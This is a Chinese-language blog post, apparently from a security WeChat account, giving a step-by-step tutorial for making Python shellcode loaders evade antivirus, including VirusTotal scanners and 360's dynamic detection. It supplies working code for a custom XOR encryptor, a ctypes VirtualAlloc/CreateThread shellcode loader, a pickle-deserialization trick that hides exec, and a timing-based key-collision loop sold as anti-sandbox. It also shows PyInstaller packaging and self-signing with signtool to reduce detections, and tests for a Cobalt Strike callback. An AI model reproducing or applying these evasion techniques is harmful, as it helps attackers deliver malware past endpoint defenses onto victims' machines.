Python 实现VT全免杀,过360动态

2023-11-20 12:34:14 浏览数 (1)

代码语言:javascript复制
1   前言2   效果图3   前置知识4   制作免杀5   源码下载6   加载器下载

01

前言

Python 实现VT全免杀,可以说静态免杀拉满了,过360动态免杀,火绒没有测试,不过火绒和360半斤八两就是了,windows denfender过静态,动态gg。这几天研究了几天Python免杀过windows denfender,网上能找到的方法基本都试了,还是没有过动态windows denfender免杀,期间试了花指令,exec加载 反序列化,exec分块加解密加载,更换shellcode加载器换了七八种常见的和不常见的加载器(文末分享)以及动态加载windows回调api执行shellcode,都没有过动态免杀,基本都在上线几秒钟被杀。

02

效果图

这是两天前的效果图:

这是最新的效果图:

360:

03

前置知识

python免杀比C 免杀难得多,很多杀毒不管三七二一直接将python打包的exe列为恶意文件。因此python免杀要从shellcode加解密、shellcode加载器、编译和签名四个方面下手。

shellcode加解密使用改写成python版的自定义的异或随机值加解密:

代码语言:javascript复制
import random


def decrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
        output[i] = output[i] ^ key
    return output


def encrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ key
        output[i] = output[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
    return output


if __name__ == '__main__':
    input_content = b'shellcode'
    key = 156
    # 加密文本使用:input_content.encode('utf-8')
    encrypted = encrypt(input_content, key)
    # 解密文本使用:decrypted.decode('utf-8')
    decrypted = decrypt(encrypted, key)
    print("encrypted: ", end='')
    for i in encrypted:
        print("\xx" % i, end='')
    print("ndecrypted: ", decrypted)

由于python的特性,密钥只能是1-255之间,后面还要使用随机值时间碰撞解密因此密钥最后是100-200之间。

我更换了七八种shellcode加载器,先是常见一点的shellcode加载器,后面是自己写的比较罕见shellcode加载器,都不能过windows denfender,而360不管使用什么加载器都能动态免杀,因此这里随便一点,使用最常见的创建线程加载器:

代码语言:javascript复制
import ctypes


buf = b"shellcode"

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)  # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0),
                     ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件

这里采用将shellcode加载器整体使用自定义的异或随机值加密在采用一个加载器来加载,一开始将shellcode加载器整体加密后直接使用exec执行,被360动态查杀直接杀了。后面发现360的特征码是同时使用ctypes库和exec函数,ctypes库是一定要使用的,只能在exec上做文章,不能直接使用exec函数,但是可以使用pickle库将exec序列化,之后将exec序列化后的字符串再使用自定义的异或随机值加密:

代码语言:javascript复制
import pickle

a = None
class RunOnDeserialize:
    def __reduce__(self):
        return (exec, ("a = exec",))

payload = pickle.dumps(RunOnDeserialize())
print(payload)
pickle.loads(payload)
print(a)

通过反序列化将exec函数赋值给a,再用a来执行shellcode加载器。

shellcode加载器的加载器:

代码语言:javascript复制
import time
import random
import pickle
import ctypes


def decrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
        output[i] = output[i] ^ key
    return output


if __name__ == '__main__':

    buf = b"加密的shellcode加载器"

    for i in range(1, 1000):
        start_time = time.time()
        time.sleep(0.1)
        end_time = time.time()
        elapsed_time = int((end_time - start_time) * 1000)

        random.seed(i)
        # 随机值时间碰撞解密
        key = 156 - 100 - 10   elapsed_time   random.randint(0, 20)
        decrypted = decrypt(buf, key)
        if key == 156:
            print('start')

            a = None
          # 反序列化,将a赋值为exec函数
            pickle.loads(decrypt(b"x3cx83x19xafx96x93x97x95xb8x81x85x06x9exf8xe3xfcxf1xf5xf6xd1xf5x11x11xbdxd2xf3xfexecx10x0bx22x36x9exdcxa2xaaxadxfbxe7xe9xfax0dx13x15xdcx1bxbb", key))
          # 执行shellcode加载器
            a(decrypted.decode('utf-8'))

            break

采用将shellcode加载器整体使用自定义的异或随机值加密的方式,用 pickle.loads 反序列化执行 "a = exec",a变成exec函数,再执行解密后的shellcode加载器。shellcode加载器解密使用前面文章将过的随机值时间碰撞解密,密钥156先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key,再用if判断前key是否等于156,相等则加载shellcode,最后break退出循环。

为什么key要先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key这么麻烦的一步?

这是为了扰乱杀软逆推出原来的shellcode,同时有反沙箱的效果。

然后到编译,使用pyinstaller编译时不要使用 -w 去除启动窗口,不然将导致报毒增多。

下面是一点冒泡排序的算法,用pyinstaller分别使用-w和不hi有-w参数编译,看看VT查杀情况:

代码语言:javascript复制
def hua4bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(n - i - 1):
            if arr[j] > arr[j   1]:
                arr[j], arr[j   1] = arr[j   1], arr[j]
hua4arr = [5, 2, 9, 1, 5, 6]
hua4bubble_sort(hua4arr)
print(hua4arr)
代码语言:javascript复制
pyinstaller -F scl.py -w --clean
代码语言:javascript复制
pyinstaller -F scl.py --clean

可以看到使用-w参数后报毒增加了俩。

最后一步是签名,给python打包的exe签名至少减少一半的报毒,下面用不加-w参数打包的exe进行签名,这里使用的是微软官方的SignTool签名工具,而不是使用sigthief工具进行签名窃取,因为VT上已经有杀软会效验签名了。

先使用Signtool GUI工具生成一份签名证书:

之后在桌面上会生成四个文件,我们只需要使用其中的.pfx来给exe进行签名。

使用命令:

代码语言:javascript复制
signtool.exe sign /f "C:UsersAnonymousDesktopCert_360.pfx" /a /p Technology "C:UsersAnonymousDesktopdistscl.exe"

签名完成,上传VT:

可以看到报毒又少了俩。

下面开始制作免杀。

04

制作免杀

复制shellcode加载器到自定义的异或随机值加解密进行加密,字符串前面要加r,同时要用encode('utf-8')进行编码:

复制下面加密后的16进制代码到shellcode加载器的加载器:

这时可以运行测试下能否上线cs。

然后对代码进行混淆,先更改变量名为随机字符串:

再插入大量花代码:

使用pyinstaller打包:

代码语言:javascript复制
pyinstaller -F scl.py --clean

使用signtool和签名的证书对打包后的exe进行签名:

代码语言:javascript复制
signtool.exe sign /f "C:UsersAnonymousDesktopCert_360.pfx" /a /p Technology "C:UsersAnonymousDesktopdistscl.exe"

上传VT测试:

运行exe,360动态无反应:

至此免杀制作完成。

05

源码下载

关注微信公众号回复:

30222

06

8种加载器下载

锦鲤安全

一个安全技术学习与工具分享平台

点分享

点收藏

点点赞

点在看

0 人点赞